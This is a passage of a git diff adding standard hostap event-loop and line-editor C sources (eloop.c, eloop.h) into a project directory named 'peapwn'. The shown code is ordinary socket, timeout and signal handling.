*cmd); +static void (*edit_eof_cb)(void *ctx); + + +static void edit_read_char(int sock, void *eloop_ctx, void *sock_ctx) +{ + int c; + unsigned char buf[1]; + int res; + + res = read(sock, buf, 1); + if (res < 0) + perror("read"); + if (res <= 0) { + edit_eof_cb(edit_cb_ctx); + return; + } + c = buf[0]; + + if (c == '\r' || c == '\n') { + cmdbuf[cmdbuf_pos] = '\0'; + cmdbuf_pos = 0; + edit_cmd_cb(edit_cb_ctx, cmdbuf); + printf("%s> ", ps2 ? ps2 : ""); + fflush(stdout); + return; + } + + if (c >= 32 && c <= 255) { + if (cmdbuf_pos < (int) sizeof(cmdbuf) - 1) { + cmdbuf[cmdbuf_pos++] = c; + } + } +} + + +int edit_init(void (*cmd_cb)(void *ctx, char *cmd), + void (*eof_cb)(void *ctx), + char ** (*completion_cb)(void *ctx, const char *cmd, int pos), + void *ctx, const char *history_file, const char *ps) +{ + edit_cb_ctx = ctx; + edit_cmd_cb = cmd_cb; + edit_eof_cb = eof_cb; + eloop_register_read_sock(STDIN_FILENO, edit_read_char, NULL, NULL); + ps2 = ps; + + printf("%s> ", ps2 ? ps2 : ""); + fflush(stdout); + + return 0; +} + + +void edit_deinit(const char *history_file, + int (*filter_cb)(void *ctx, const char *cmd)) +{ + eloop_unregister_read_sock(STDIN_FILENO); +} + + +void edit_clear_line(void) +{ +} + + +void edit_redraw(void) +{ + cmdbuf[cmdbuf_pos] = '\0'; + printf("\r> %s", cmdbuf); +} diff --git a/peapwn/mods/hostap/src/utils/eloop.c b/peapwn/mods/hostap/src/utils/eloop.c new file mode 100644 index 000000000..e983edcfb --- /dev/null +++ b/peapwn/mods/hostap/src/utils/eloop.c @@ -0,0 +1,948 @@ +/* + * Event loop based on select() loop + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "trace.h" +#include "list.h" +#include "eloop.h" + +#ifdef CONFIG_ELOOP_POLL +#include +#include +#endif /* CONFIG_ELOOP_POLL */ + + +struct eloop_sock { + int sock; + void *eloop_data; + void *user_data; + eloop_sock_handler handler; + WPA_TRACE_REF(eloop); + WPA_TRACE_REF(user); + WPA_TRACE_INFO +}; + +struct eloop_timeout { + struct dl_list list; + struct os_reltime time; + void *eloop_data; + void *user_data; + eloop_timeout_handler handler; + WPA_TRACE_REF(eloop); + WPA_TRACE_REF(user); + WPA_TRACE_INFO +}; + +struct eloop_signal { + int sig; + void *user_data; + eloop_signal_handler handler; + int signaled; +}; + +struct eloop_sock_table { + int count; + struct eloop_sock *table; + int changed; +}; + +struct eloop_data { + int max_sock; + + int count; /* sum of all table counts */ +#ifdef CONFIG_ELOOP_POLL + int max_pollfd_map; /* number of pollfds_map currently allocated */ + int max_poll_fds; /* number of pollfds currently allocated */ + struct pollfd *pollfds; + struct pollfd **pollfds_map; +#endif /* CONFIG_ELOOP_POLL */ + struct eloop_sock_table readers; + struct eloop_sock_table writers; + struct eloop_sock_table exceptions; + + struct dl_list timeout; + + int signal_count; + struct eloop_signal *signals; + int signaled; + int pending_terminate; + + int terminate; + int reader_table_changed; +}; + +static struct eloop_data eloop; + + +#ifdef WPA_TRACE + +static void eloop_sigsegv_handler(int sig) +{ + wpa_trace_show("eloop SIGSEGV"); + abort(); +} + +static void eloop_trace_sock_add_ref(struct eloop_sock_table *table) +{ + int i; + if (table == NULL || table->table == NULL) + return; + for (i = 0; i < table->count; i++) { + wpa_trace_add_ref(&table->table[i], eloop, + table->table[i].eloop_data); + wpa_trace_add_ref(&table->table[i], user, + table->table[i].user_data); + } +} + + +static void eloop_trace_sock_remove_ref(struct eloop_sock_table *table) +{ + int i; + if (table == NULL || table->table == NULL) + return; + for (i = 0; i < table->count; i++) { + wpa_trace_remove_ref(&table->table[i], eloop, + table->table[i].eloop_data); + wpa_trace_remove_ref(&table->table[i], user, + table->table[i].user_data); + } +} + +#else /* WPA_TRACE */ + +#define eloop_trace_sock_add_ref(table) do { } while (0) +#define eloop_trace_sock_remove_ref(table) do { } while (0) + +#endif /* WPA_TRACE */ + + +int eloop_init(void) +{ + os_memset(&eloop, 0, sizeof(eloop)); + dl_list_init(&eloop.timeout); +#ifdef WPA_TRACE + signal(SIGSEGV, eloop_sigsegv_handler); +#endif /* WPA_TRACE */ + return 0; +} + + +static int eloop_sock_table_add_sock(struct eloop_sock_table *table, + int sock, eloop_sock_handler handler, + void *eloop_data, void *user_data) +{ + struct eloop_sock *tmp; + int new_max_sock; + + if (sock > eloop.max_sock) + new_max_sock = sock; + else + new_max_sock = eloop.max_sock; + + if (table == NULL) + return -1; + +#ifdef CONFIG_ELOOP_POLL + if (new_max_sock >= eloop.max_pollfd_map) { + struct pollfd **nmap; + nmap = os_realloc_array(eloop.pollfds_map, new_max_sock + 50, + sizeof(struct pollfd *)); + if (nmap == NULL) + return -1; + + eloop.max_pollfd_map = new_max_sock + 50; + eloop.pollfds_map = nmap; + } + + if (eloop.count + 1 > eloop.max_poll_fds) { + struct pollfd *n; + int nmax = eloop.count + 1 + 50; + n = os_realloc_array(eloop.pollfds, nmax, + sizeof(struct pollfd)); + if (n == NULL) + return -1; + + eloop.max_poll_fds = nmax; + eloop.pollfds = n; + } +#endif /* CONFIG_ELOOP_POLL */ + + eloop_trace_sock_remove_ref(table); + tmp = os_realloc_array(table->table, table->count + 1, + sizeof(struct eloop_sock)); + if (tmp == NULL) + return -1; + + tmp[table->count].sock = sock; + tmp[table->count].eloop_data = eloop_data; + tmp[table->count].user_data = user_data; + tmp[table->count].handler = handler; + wpa_trace_record(&tmp[table->count]); + table->count++; + table->table = tmp; + eloop.max_sock = new_max_sock; + eloop.count++; + table->changed = 1; + eloop_trace_sock_add_ref(table); + + return 0; +} + + +static void eloop_sock_table_remove_sock(struct eloop_sock_table *table, + int sock) +{ + int i; + + if (table == NULL || table->table == NULL || table->count == 0) + return; + + for (i = 0; i < table->count; i++) { + if (table->table[i].sock == sock) + break; + } + if (i == table->count) + return; + eloop_trace_sock_remove_ref(table); + if (i != table->count - 1) { + os_memmove(&table->table[i], &table->table[i + 1], + (table->count - i - 1) * + sizeof(struct eloop_sock)); + } + table->count--; + eloop.count--; + table->changed = 1; + eloop_trace_sock_add_ref(table); +} + + +#ifdef CONFIG_ELOOP_POLL + +static struct pollfd * find_pollfd(struct pollfd **pollfds_map, int fd, int mx) +{ + if (fd < mx && fd >= 0) + return pollfds_map[fd]; + return NULL; +} + + +static int eloop_sock_table_set_fds(struct eloop_sock_table *readers, + struct eloop_sock_table *writers, + struct eloop_sock_table *exceptions, + struct pollfd *pollfds, + struct pollfd **pollfds_map, + int max_pollfd_map) +{ + int i; + int nxt = 0; + int fd; + struct pollfd *pfd; + + /* Clear pollfd lookup map. It will be re-populated below. */ + os_memset(pollfds_map, 0, sizeof(struct pollfd *) * max_pollfd_map); + + if (readers && readers->table) { + for (i = 0; i < readers->count; i++) { + fd = readers->table[i].sock; + assert(fd >= 0 && fd < max_pollfd_map); + pollfds[nxt].fd = fd; + pollfds[nxt].events = POLLIN; + pollfds[nxt].revents = 0; + pollfds_map[fd] = &(pollfds[nxt]); + nxt++; + } + } + + if (writers && writers->table) { + for (i = 0; i < writers->count; i++) { + /* + * See if we already added this descriptor, update it + * if so. + */ + fd = writers->table[i].sock; + assert(fd >= 0 && fd < max_pollfd_map); + pfd = pollfds_map[fd]; + if (!pfd) { + pfd = &(pollfds[nxt]); + pfd->events = 0; + pfd->fd = fd; + pollfds[i].revents = 0; + pollfds_map[fd] = pfd; + nxt++; + } + pfd->events |= POLLOUT; + } + } + + /* + * Exceptions are always checked when using poll, but I suppose it's + * possible that someone registered a socket *only* for exception + * handling. Set the POLLIN bit in this case. + */ + if (exceptions && exceptions->table) { + for (i = 0; i < exceptions->count; i++) { + /* + * See if we already added this descriptor, just use it + * if so. + */ + fd = exceptions->table[i].sock; + assert(fd >= 0 && fd < max_pollfd_map); + pfd = pollfds_map[fd]; + if (!pfd) { + pfd = &(pollfds[nxt]); + pfd->events = POLLIN; + pfd->fd = fd; + pollfds[i].revents = 0; + pollfds_map[fd] = pfd; + nxt++; + } + } + } + + return nxt; +} + + +static int eloop_sock_table_dispatch_table(struct eloop_sock_table *table, + struct pollfd **pollfds_map, + int max_pollfd_map, + short int revents) +{ + int i; + struct pollfd *pfd; + + if (!table || !table->table) + return 0; + + table->changed = 0; + for (i = 0; i < table->count; i++) { + pfd = find_pollfd(pollfds_map, table->table[i].sock, + max_pollfd_map); + if (!pfd) + continue; + + if (!(pfd->revents & revents)) + continue; + + table->table[i].handler(table->table[i].sock, + table->table[i].eloop_data, + table->table[i].user_data); + if (table->changed) + return 1; + } + + return 0; +} + + +static void eloop_sock_table_dispatch(struct eloop_sock_table *readers, + struct eloop_sock_table *writers, + struct eloop_sock_table *exceptions, + struct pollfd **pollfds_map, + int max_pollfd_map) +{ + if (eloop_sock_table_dispatch_table(readers, pollfds_map, + max_pollfd_map, POLLIN | POLLERR | + POLLHUP)) + return; /* pollfds may be invalid at this point */ + + if (eloop_sock_table_dispatch_table(writers, pollfds_map, + max_pollfd_map, POLLOUT)) + return; /* pollfds may be invalid at this point */ + + eloop_sock_table_dispatch_table(exceptions, pollfds_map, + max_pollfd_map, POLLERR | POLLHUP); +} + +#else /* CONFIG_ELOOP_POLL */ + +static void eloop_sock_table_set_fds(struct eloop_sock_table *table, + fd_set *fds) +{ + int i; + + FD_ZERO(fds); + + if (table->table == NULL) + return; + + for (i = 0; i < table->count; i++) + FD_SET(table->table[i].sock, fds); +} + + +static void eloop_sock_table_dispatch(struct eloop_sock_table *table, + fd_set *fds) +{ + int i; + + if (table == NULL || table->table == NULL) + return; + + table->changed = 0; + for (i = 0; i < table->count; i++) { + if (FD_ISSET(table->table[i].sock, fds)) { + table->table[i].handler(table->table[i].sock, + table->table[i].eloop_data, + table->table[i].user_data); + if (table->changed) + break; + } + } +} + +#endif /* CONFIG_ELOOP_POLL */ + + +static void eloop_sock_table_destroy(struct eloop_sock_table *table) +{ + if (table) { + int i; + for (i = 0; i < table->count && table->table; i++) { + wpa_printf(MSG_INFO, "ELOOP: remaining socket: " + "sock=%d eloop_data=%p user_data=%p " + "handler=%p", + table->table[i].sock, + table->table[i].eloop_data, + table->table[i].user_data, + table->table[i].handler); + wpa_trace_dump_funcname("eloop unregistered socket " + "handler", + table->table[i].handler); + wpa_trace_dump("eloop sock", &table->table[i]); + } + os_free(table->table); + } +} + + +int eloop_register_read_sock(int sock, eloop_sock_handler handler, + void *eloop_data, void *user_data) +{ + return eloop_register_sock(sock, EVENT_TYPE_READ, handler, + eloop_data, user_data); +} + + +void eloop_unregister_read_sock(int sock) +{ + eloop_unregister_sock(sock, EVENT_TYPE_READ); +} + + +static struct eloop_sock_table *eloop_get_sock_table(eloop_event_type type) +{ + switch (type) { + case EVENT_TYPE_READ: + return &eloop.readers; + case EVENT_TYPE_WRITE: + return &eloop.writers; + case EVENT_TYPE_EXCEPTION: + return &eloop.exceptions; + } + + return NULL; +} + + +int eloop_register_sock(int sock, eloop_event_type type, + eloop_sock_handler handler, + void *eloop_data, void *user_data) +{ + struct eloop_sock_table *table; + + table = eloop_get_sock_table(type); + return eloop_sock_table_add_sock(table, sock, handler, + eloop_data, user_data); +} + + +void eloop_unregister_sock(int sock, eloop_event_type type) +{ + struct eloop_sock_table *table; + + table = eloop_get_sock_table(type); + eloop_sock_table_remove_sock(table, sock); +} + + +int eloop_register_timeout(unsigned int secs, unsigned int usecs, + eloop_timeout_handler handler, + void *eloop_data, void *user_data) +{ + struct eloop_timeout *timeout, *tmp; + os_time_t now_sec; + + timeout = os_zalloc(sizeof(*timeout)); + if (timeout == NULL) + return -1; + if (os_get_reltime(&timeout->time) < 0) { + os_free(timeout); + return -1; + } + now_sec = timeout->time.sec; + timeout->time.sec += secs; + if (timeout->time.sec < now_sec) { + /* + * Integer overflow - assume long enough timeout to be assumed + * to be infinite, i.e., the timeout would never happen. + */ + wpa_printf(MSG_DEBUG, "ELOOP: Too long timeout (secs=%u) to " + "ever happen - ignore it", secs); + os_free(timeout); + return 0; + } + timeout->time.usec += usecs; + while (timeout->time.usec >= 1000000) { + timeout->time.sec++; + timeout->time.usec -= 1000000; + } + timeout->eloop_data = eloop_data; + timeout->user_data = user_data; + timeout->handler = handler; + wpa_trace_add_ref(timeout, eloop, eloop_data); + wpa_trace_add_ref(timeout, user, user_data); + wpa_trace_record(timeout); + + /* Maintain timeouts in order of increasing time */ + dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { + if (os_reltime_before(&timeout->time, &tmp->time)) { + dl_list_add(tmp->list.prev, &timeout->list); + return 0; + } + } + dl_list_add_tail(&eloop.timeout, &timeout->list); + + return 0; +} + + +static void eloop_remove_timeout(struct eloop_timeout *timeout) +{ + dl_list_del(&timeout->list); + wpa_trace_remove_ref(timeout, eloop, timeout->eloop_data); + wpa_trace_remove_ref(timeout, user, timeout->user_data); + os_free(timeout); +} + + +int eloop_cancel_timeout(eloop_timeout_handler handler, + void *eloop_data, void *user_data) +{ + struct eloop_timeout *timeout, *prev; + int removed = 0; + + dl_list_for_each_safe(timeout, prev, &eloop.timeout, + struct eloop_timeout, list) { + if (timeout->handler == handler && + (timeout->eloop_data == eloop_data || + eloop_data == ELOOP_ALL_CTX) && + (timeout->user_data == user_data || + user_data == ELOOP_ALL_CTX)) { + eloop_remove_timeout(timeout); + removed++; + } + } + + return removed; +} + + +int eloop_cancel_timeout_one(eloop_timeout_handler handler, + void *eloop_data, void *user_data, + struct os_reltime *remaining) +{ + struct eloop_timeout *timeout, *prev; + int removed = 0; + struct os_reltime now; + + os_get_reltime(&now); + remaining->sec = remaining->usec = 0; + + dl_list_for_each_safe(timeout, prev, &eloop.timeout, + struct eloop_timeout, list) { + if (timeout->handler == handler && + (timeout->eloop_data == eloop_data) && + (timeout->user_data == user_data)) { + removed = 1; + if (os_reltime_before(&now, &timeout->time)) + os_reltime_sub(&timeout->time, &now, remaining); + eloop_remove_timeout(timeout); + break; + } + } + return removed; +} + + +int eloop_is_timeout_registered(eloop_timeout_handler handler, + void *eloop_data, void *user_data) +{ + struct eloop_timeout *tmp; + + dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { + if (tmp->handler == handler && + tmp->eloop_data == eloop_data && + tmp->user_data == user_data) + return 1; + } + + return 0; +} + + +int eloop_deplete_timeout(unsigned int req_secs, unsigned int req_usecs, + eloop_timeout_handler handler, void *eloop_data, + void *user_data) +{ + struct os_reltime now, requested, remaining; + struct eloop_timeout *tmp; + + dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { + if (tmp->handler == handler && + tmp->eloop_data == eloop_data && + tmp->user_data == user_data) { + requested.sec = req_secs; + requested.usec = req_usecs; + os_get_reltime(&now); + os_reltime_sub(&tmp->time, &now, &remaining); + if (os_reltime_before(&requested, &remaining)) { + eloop_cancel_timeout(handler, eloop_data, + user_data); + eloop_register_timeout(requested.sec, + requested.usec, + handler, eloop_data, + user_data); + return 1; + } + } + } + + return 0; +} + + +int eloop_replenish_timeout(unsigned int req_secs, unsigned int req_usecs, + eloop_timeout_handler handler, void *eloop_data, + void *user_data) +{ + struct os_reltime now, requested, remaining; + struct eloop_timeout *tmp; + + dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { + if (tmp->handler == handler && + tmp->eloop_data == eloop_data && + tmp->user_data == user_data) { + requested.sec = req_secs; + requested.usec = req_usecs; + os_get_reltime(&now); + os_reltime_sub(&tmp->time, &now, &remaining); + if (os_reltime_before(&remaining, &requested)) { + eloop_cancel_timeout(handler, eloop_data, + user_data); + eloop_register_timeout(requested.sec, + requested.usec, + handler, eloop_data, + user_data); + return 1; + } + } + } + + return 0; +} + + +#ifndef CONFIG_NATIVE_WINDOWS +static void eloop_handle_alarm(int sig) +{ + wpa_printf(MSG_ERROR, "eloop: could not process SIGINT or SIGTERM in " + "two seconds. Looks like there\n" + "is a bug that ends up in a busy loop that " + "prevents clean shutdown.\n" + "Killing program forcefully.\n"); + exit(1); +} +#endif /* CONFIG_NATIVE_WINDOWS */ + + +static void eloop_handle_signal(int sig) +{ + int i; + +#ifndef CONFIG_NATIVE_WINDOWS + if ((sig == SIGINT || sig == SIGTERM) && !eloop.pending_terminate) { + /* Use SIGALRM to break out from potential busy loops that + * would not allow the program to be killed. */ + eloop.pending_terminate = 1; + signal(SIGALRM, eloop_handle_alarm); + alarm(2); + } +#endif /* CONFIG_NATIVE_WINDOWS */ + + eloop.signaled++; + for (i = 0; i < eloop.signal_count; i++) { + if (eloop.signals[i].sig == sig) { + eloop.signals[i].signaled++; + break; + } + } +} + + +static void eloop_process_pending_signals(void) +{ + int i; + + if (eloop.signaled == 0) + return; + eloop.signaled = 0; + + if (eloop.pending_terminate) { +#ifndef CONFIG_NATIVE_WINDOWS + alarm(0); +#endif /* CONFIG_NATIVE_WINDOWS */ + eloop.pending_terminate = 0; + } + + for (i = 0; i < eloop.signal_count; i++) { + if (eloop.signals[i].signaled) { + eloop.signals[i].signaled = 0; + eloop.signals[i].handler(eloop.signals[i].sig, + eloop.signals[i].user_data); + } + } +} + + +int eloop_register_signal(int sig, eloop_signal_handler handler, + void *user_data) +{ + struct eloop_signal *tmp; + + tmp = os_realloc_array(eloop.signals, eloop.signal_count + 1, + sizeof(struct eloop_signal)); + if (tmp == NULL) + return -1; + + tmp[eloop.signal_count].sig = sig; + tmp[eloop.signal_count].user_data = user_data; + tmp[eloop.signal_count].handler = handler; + tmp[eloop.signal_count].signaled = 0; + eloop.signal_count++; + eloop.signals = tmp; + signal(sig, eloop_handle_signal); + + return 0; +} + + +int eloop_register_signal_terminate(eloop_signal_handler handler, + void *user_data) +{ + int ret = eloop_register_signal(SIGINT, handler, user_data); + if (ret == 0) + ret = eloop_register_signal(SIGTERM, handler, user_data); + return ret; +} + + +int eloop_register_signal_reconfig(eloop_signal_handler handler, + void *user_data) +{ +#ifdef CONFIG_NATIVE_WINDOWS + return 0; +#else /* CONFIG_NATIVE_WINDOWS */ + return eloop_register_signal(SIGHUP, handler, user_data); +#endif /* CONFIG_NATIVE_WINDOWS */ +} + + +void eloop_run(void) +{ +#ifdef CONFIG_ELOOP_POLL + int num_poll_fds; + int timeout_ms = 0; +#else /* CONFIG_ELOOP_POLL */ + fd_set *rfds, *wfds, *efds; + struct timeval _tv; +#endif /* CONFIG_ELOOP_POLL */ + int res; + struct os_reltime tv, now; + +#ifndef CONFIG_ELOOP_POLL + rfds = os_malloc(sizeof(*rfds)); + wfds = os_malloc(sizeof(*wfds)); + efds = os_malloc(sizeof(*efds)); + if (rfds == NULL || wfds == NULL || efds == NULL) + goto out; +#endif /* CONFIG_ELOOP_POLL */ + + while (!eloop.terminate && + (!dl_list_empty(&eloop.timeout) || eloop.readers.count > 0 || + eloop.writers.count > 0 || eloop.exceptions.count > 0)) { + struct eloop_timeout *timeout; + timeout = dl_list_first(&eloop.timeout, struct eloop_timeout, + list); + if (timeout) { + os_get_reltime(&now); + if (os_reltime_before(&now, &timeout->time)) + os_reltime_sub(&timeout->time, &now, &tv); + else + tv.sec = tv.usec = 0; +#ifdef CONFIG_ELOOP_POLL + timeout_ms = tv.sec * 1000 + tv.usec / 1000; +#else /* CONFIG_ELOOP_POLL */ + _tv.tv_sec = tv.sec; + _tv.tv_usec = tv.usec; +#endif /* CONFIG_ELOOP_POLL */ + } + +#ifdef CONFIG_ELOOP_POLL + num_poll_fds = eloop_sock_table_set_fds( + &eloop.readers, &eloop.writers, &eloop.exceptions, + eloop.pollfds, eloop.pollfds_map, + eloop.max_pollfd_map); + res = poll(eloop.pollfds, num_poll_fds, + timeout ? timeout_ms : -1); + + if (res < 0 && errno != EINTR && errno != 0) { + wpa_printf(MSG_INFO, "eloop: poll: %s", + strerror(errno)); + goto out; + } +#else /* CONFIG_ELOOP_POLL */ + eloop_sock_table_set_fds(&eloop.readers, rfds); + eloop_sock_table_set_fds(&eloop.writers, wfds); + eloop_sock_table_set_fds(&eloop.exceptions, efds); + res = select(eloop.max_sock + 1, rfds, wfds, efds, + timeout ? &_tv : NULL); + if (res < 0 && errno != EINTR && errno != 0) { + wpa_printf(MSG_INFO, "eloop: select: %s", + strerror(errno)); + goto out; + } +#endif /* CONFIG_ELOOP_POLL */ + eloop_process_pending_signals(); + + /* check if some registered timeouts have occurred */ + timeout = dl_list_first(&eloop.timeout, struct eloop_timeout, + list); + if (timeout) { + os_get_reltime(&now); + if (!os_reltime_before(&now, &timeout->time)) { + void *eloop_data = timeout->eloop_data; + void *user_data = timeout->user_data; + eloop_timeout_handler handler = + timeout->handler; + eloop_remove_timeout(timeout); + handler(eloop_data, user_data); + } + + } + + if (res <= 0) + continue; + +#ifdef CONFIG_ELOOP_POLL + eloop_sock_table_dispatch(&eloop.readers, &eloop.writers, + &eloop.exceptions, eloop.pollfds_map, + eloop.max_pollfd_map); +#else /* CONFIG_ELOOP_POLL */ + eloop_sock_table_dispatch(&eloop.readers, rfds); + eloop_sock_table_dispatch(&eloop.writers, wfds); + eloop_sock_table_dispatch(&eloop.exceptions, efds); +#endif /* CONFIG_ELOOP_POLL */ + } + + eloop.terminate = 0; +out: +#ifndef CONFIG_ELOOP_POLL + os_free(rfds); + os_free(wfds); + os_free(efds); +#endif /* CONFIG_ELOOP_POLL */ + return; +} + + +void eloop_terminate(void) +{ + eloop.terminate = 1; +} + + +void eloop_destroy(void) +{ + struct eloop_timeout *timeout, *prev; + struct os_reltime now; + + os_get_reltime(&now); + dl_list_for_each_safe(timeout, prev, &eloop.timeout, + struct eloop_timeout, list) { + int sec, usec; + sec = timeout->time.sec - now.sec; + usec = timeout->time.usec - now.usec; + if (timeout->time.usec < now.usec) { + sec--; + usec += 1000000; + } + wpa_printf(MSG_INFO, "ELOOP: remaining timeout: %d.%06d " + "eloop_data=%p user_data=%p handler=%p", + sec, usec, timeout->eloop_data, timeout->user_data, + timeout->handler); + wpa_trace_dump_funcname("eloop unregistered timeout handler", + timeout->handler); + wpa_trace_dump("eloop timeout", timeout); + eloop_remove_timeout(timeout); + } + eloop_sock_table_destroy(&eloop.readers); + eloop_sock_table_destroy(&eloop.writers); + eloop_sock_table_destroy(&eloop.exceptions); + os_free(eloop.signals); + +#ifdef CONFIG_ELOOP_POLL + os_free(eloop.pollfds); + os_free(eloop.pollfds_map); +#endif /* CONFIG_ELOOP_POLL */ +} + + +int eloop_terminated(void) +{ + return eloop.terminate; +} + + +void eloop_wait_for_read_sock(int sock) +{ +#ifdef CONFIG_ELOOP_POLL + struct pollfd pfd; + + if (sock < 0) + return; + + os_memset(&pfd, 0, sizeof(pfd)); + pfd.fd = sock; + pfd.events = POLLIN; + + poll(&pfd, 1, -1); +#else /* CONFIG_ELOOP_POLL */ + fd_set rfds; + + if (sock < 0) + return; + + FD_ZERO(&rfds); + FD_SET(sock, &rfds); + select(sock + 1, &rfds, NULL, NULL, NULL); +#endif /* CONFIG_ELOOP_POLL */ +} diff --git a/peapwn/mods/hostap/src/utils/eloop.h b/peapwn/mods/hostap/src/utils/eloop.h new file mode 100644 index 000000000..d3980fa49 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/eloop.h @@ -0,0 +1,357 @@ +/* + * Event loop + * Copyright (c) 2002-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file defines an event loop interface that supports processing events + * from registered timeouts (i.e., do something after N seconds), sockets + * (e.g., a new packet available for reading), and signals. eloop.c is an + * implementation of this interface using select() and sockets. This is + * suitable for most UNIX/POSIX systems. When porting to other operating + * systems, it may be necessary to replace that implementation with OS specific + * mechanisms. + */ + +#ifndef ELOOP_H +#define ELOOP_H + +/** + * ELOOP_ALL_CTX - eloop_cancel_timeout() magic number to match all timeouts + */ +#define ELOOP_ALL_CTX (void *) -1 + +/** + * eloop_event_type - eloop socket event type for eloop_register_sock() + * @EVENT_TYPE_READ: Socket has data available for reading + * @EVENT_TYPE_WRITE: Socket has room for new data to be written + * @EVENT_TYPE_EXCEPTION: An exception has been reported + */ +typedef enum { + EVENT_TYPE_READ = 0, + EVENT_TYPE_WRITE, + EVENT_TYPE_EXCEPTION +} eloop_event_type; + +/** + * eloop_sock_handler - eloop socket event callback type + * @sock: File descriptor number for the socket + * @eloop_ctx: Registered callback context data (eloop_data) + * @sock_ctx: Registered callback context data (user_data) + */ +typedef void (*eloop_sock_handler)(int sock, void *eloop_ctx, void *sock_ctx); + +/** + * eloop_event_handler - eloop generic event callback type + * @eloop_ctx: Registered callback context data (eloop_data) + * @sock_ctx: Registered callback context data (user_data) + */ +typedef void (*eloop_event_handler)(void *eloop_data, void *user_ctx); + +/** + * eloop_timeout_handler - eloop timeout event callback type + * @eloop_ctx: Registered callback context data (eloop_data) + * @sock_ctx: Registered callback context data (user_data) + */ +typedef void (*eloop_timeout_handler)(void *eloop_data, void *user_ctx); + +/** + * eloop_signal_handler - eloop signal event callback type + * @sig: Signal number + * @signal_ctx: Registered callback context data (user_data from + * eloop_register_signal(), eloop_register_signal_terminate(), or + * eloop_register_signal_reconfig() call) + */ +typedef void (*eloop_signal_handler)(int sig, void *signal_ctx); + +/** + * eloop_init() - Initialize global event loop data + * Returns: 0 on success, -1 on failure + * + * This function must be called before any other eloop_* function. + */ +int eloop_init(void); + +/** + * eloop_register_read_sock - Register handler for read events + * @sock: File descriptor number for the socket + * @handler: Callback function to be called when data is available for reading + * @eloop_data: Callback context data (eloop_ctx) + * @user_data: Callback context data (sock_ctx) + * Returns: 0 on success, -1 on failure + * + * Register a read socket notifier for the given file descriptor. The handler + * function will be called whenever data is available for reading from the + * socket. The handler function is responsible for clearing the event after + * having processed it in order to avoid eloop from calling the handler again + * for the same event. + */ +int eloop_register_read_sock(int sock, eloop_sock_handler handler, + void *eloop_data, void *user_data); + +/** + * eloop_unregister_read_sock - Unregister handler for read events + * @sock: File descriptor number for the socket + * + * Unregister a read socket notifier that was previously registered with + * eloop_register_read_sock(). + */ +void eloop_unregister_read_sock(int sock); + +/** + * eloop_register_sock - Register handler for socket events + * @sock: File descriptor number for the socket + * @type: Type of event to wait for + * @handler: Callback function to be called when the event is triggered + * @eloop_data: Callback context data (eloop_ctx) + * @user_data: Callback context data (sock_ctx) + * Returns: 0 on success, -1 on failure + * + * Register an event notifier for the given socket's file descriptor. The + * handler function will be called whenever the that event is triggered for the + * socket. The handler function is responsible for clearing the event after + * having processed it in order to avoid eloop from calling the handler again + * for the same event. + */ +int eloop_register_sock(int sock, eloop_event_type type, + eloop_sock_handler handler, + void *eloop_data, void *user_data); + +/** + * eloop_unregister_sock - Unregister handler for socket events + * @sock: File descriptor number for the socket + * @type: Type of event for which sock was registered + * + * Unregister a socket event notifier that was previously registered with + * eloop_register_sock(). + */ +void eloop_unregister_sock(int sock, eloop_event_type type); + +/** + * eloop_register_event - Register handler for generic events + * @event: Event to wait (eloop implementation specific) + * @event_size: Size of event data + * @handler: Callback function to be called when event is triggered + * @eloop_data: Callback context data (eloop_data) + * @user_data: Callback context data (user_data) + * Returns: 0 on success, -1 on failure + * + * Register an event handler for the given event. This function is used to + * register eloop implementation specific events which are mainly targeted for + * operating system specific code (driver interface and l2_packet) since the + * portable code will not be able to use such an OS-specific call. The handler + * function will be called whenever the event is triggered. The handler + * function is responsible for clearing the event after having processed it in + * order to avoid eloop from calling the handler again for the same event. + * + * In case of Windows implementation (eloop_win.c), event pointer is of HANDLE + * type, i.e., void*. The callers are likely to have 'HANDLE h' type variable, + * and they would call this function with eloop_register_event(h, sizeof(h), + * ...). + */ +int eloop_register_event(void *event, size_t event_size, + eloop_event_handler handler, + void *eloop_data, void *user_data); + +/** + * eloop_unregister_event - Unregister handler for a generic event + * @event: Event to cancel (eloop implementation specific) + * @event_size: Size of event data + * + * Unregister a generic event notifier that was previously registered with + * eloop_register_event(). + */ +void eloop_unregister_event(void *event, size_t event_size); + +/** + * eloop_register_timeout - Register timeout + * @secs: Number of seconds to the timeout + * @usecs: Number of microseconds to the timeout + * @handler: Callback function to be called when timeout occurs + * @eloop_data: Callback context data (eloop_ctx) + * @user_data: Callback context data (sock_ctx) + * Returns: 0 on success, -1 on failure + * + * Register a timeout that will cause the handler function to be called after + * given time. + */ +int eloop_register_timeout(unsigned int secs, unsigned int usecs, + eloop_timeout_handler handler, + void *eloop_data, void *user_data); + +/** + * eloop_cancel_timeout - Cancel timeouts + * @handler: Matching callback function + * @eloop_data: Matching eloop_data or %ELOOP_ALL_CTX to match all + * @user_data: Matching user_data or %ELOOP_ALL_CTX to match all + * Returns: Number of cancelled timeouts + * + * Cancel matching timeouts registered with + * eloop_register_timeout(). ELOOP_ALL_CTX can be used as a wildcard for + * cancelling all timeouts regardless of eloop_data/user_data. + */ +int eloop_cancel_timeout(eloop_timeout_handler handler, + void *eloop_data, void *user_data); + +/** + * eloop_cancel_timeout_one - Cancel a single timeout + * @handler: Matching callback function + * @eloop_data: Matching eloop_data + * @user_data: Matching user_data + * @remaining: Time left on the cancelled timer + * Returns: Number of cancelled timeouts + * + * Cancel matching timeout registered with + * eloop_register_timeout() and return the remaining time left. + */ +int eloop_cancel_timeout_one(eloop_timeout_handler handler, + void *eloop_data, void *user_data, + struct os_reltime *remaining); + +/** + * eloop_is_timeout_registered - Check if a timeout is already registered + * @handler: Matching callback function + * @eloop_data: Matching eloop_data + * @user_data: Matching user_data + * Returns: 1 if the timeout is registered, 0 if the timeout is not registered + * + * Determine if a matching timeout is registered + * with eloop_register_timeout(). + */ +int eloop_is_timeout_registered(eloop_timeout_handler handler, + void *eloop_data, void *user_data); + +/** + * eloop_deplete_timeout - Deplete a timeout that is already registered + * @req_secs: Requested number of seconds to the timeout + * @req_usecs: Requested number of microseconds 